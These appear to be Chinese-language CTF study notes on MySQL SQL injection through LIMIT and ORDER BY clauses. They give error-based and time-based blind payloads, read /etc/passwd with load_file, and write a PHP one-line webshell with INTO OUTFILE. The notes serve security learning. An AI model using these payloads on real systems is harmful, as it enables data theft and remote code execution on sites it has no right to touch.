CTF-SQL注入进阶
limit注入
1 | 实际程序中,常需要查询某些符合条件的具体数量的记录。此时mysql中提供limit帮助用户返回数据表中的多条记录。如:网站无法在一个页面中显示所有信息条目,此时采用分页显示。 |
limit语法,前面文章介绍过。
1 | limit 从起始位置,取多少条记录。起始位置为0 |
MYSQL LIMIT 注入原理
适用于mysql5.6版本一下。
通过联合注入,其实就跟联合注入没什么区别,但是加上order by就不一样了。
1 | select * from users limit 0,1 union select 1,2,3 |
sql修改成:
1 | select * from users order by id limit 0,1; |
报错注入
原sql语句:
1 | select * from users order by id limit {$id},1; |
payload
1 | id=0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
order by
语法功能
1 | 对结果进行排序操作,mysql提供了order by 进行查询结果的排序, |
一些相关操作
1 | 可使用字段名排序 |
可通过order by 盲注出密码。
1 | 密码为abc |
order by 后注入
1 | selcet * from users order by id |
通过报错猜字段名、字段数
1 | username(字段名) |
sql语句:
1 | select * from users order by {$order} |
注入点利用方式
发现order by型,通过输入不同字段名,排序发生改变。
报错注入
1 | order=updatexml(1,concat(0x7c,database()),1) |
时间盲注
1 | order=if(length(database())>8,sleep(1),1) |
sql-读写文件
1 | 可对本地文件系统进行读写操作。 |
若flag不存在数据库中,此时考虑sql注入的读写文件操作。
MYSQL配置读写权限
1 | 配置权限针对具体用户,查询当前用户 |
1、查看当前用户文件操作权限(File_priv)
1 | select File_priv from mysql.user where user='root' and host='localhost'; |
返回Y,表示具有对本地文件系统的读写操作。
2、数据库导入导出权限(secure_file_priv)
查看(secure_file_priv)变量
1 | show VARIABLES like "secure_file_priv"; |
当(secure_file_priv)为空时,表示无限制,若为NULL,表示没有任何权限。
如果(secure_file_priv)为一个路径,表示只有对该路径的导入导出权限。
读文件
1 | select load_file("/etc/passwd") |
写入一句话木马
1 | select "<?php @eval($_POST[1]);?>" into outfile '相关路径' |
补充:
当concat函数被过滤时,可使用make_set函数
如
1 | ?id=1 and (select extractvalue(2,make_set(3,0x7e,(select * from flag))))--+ |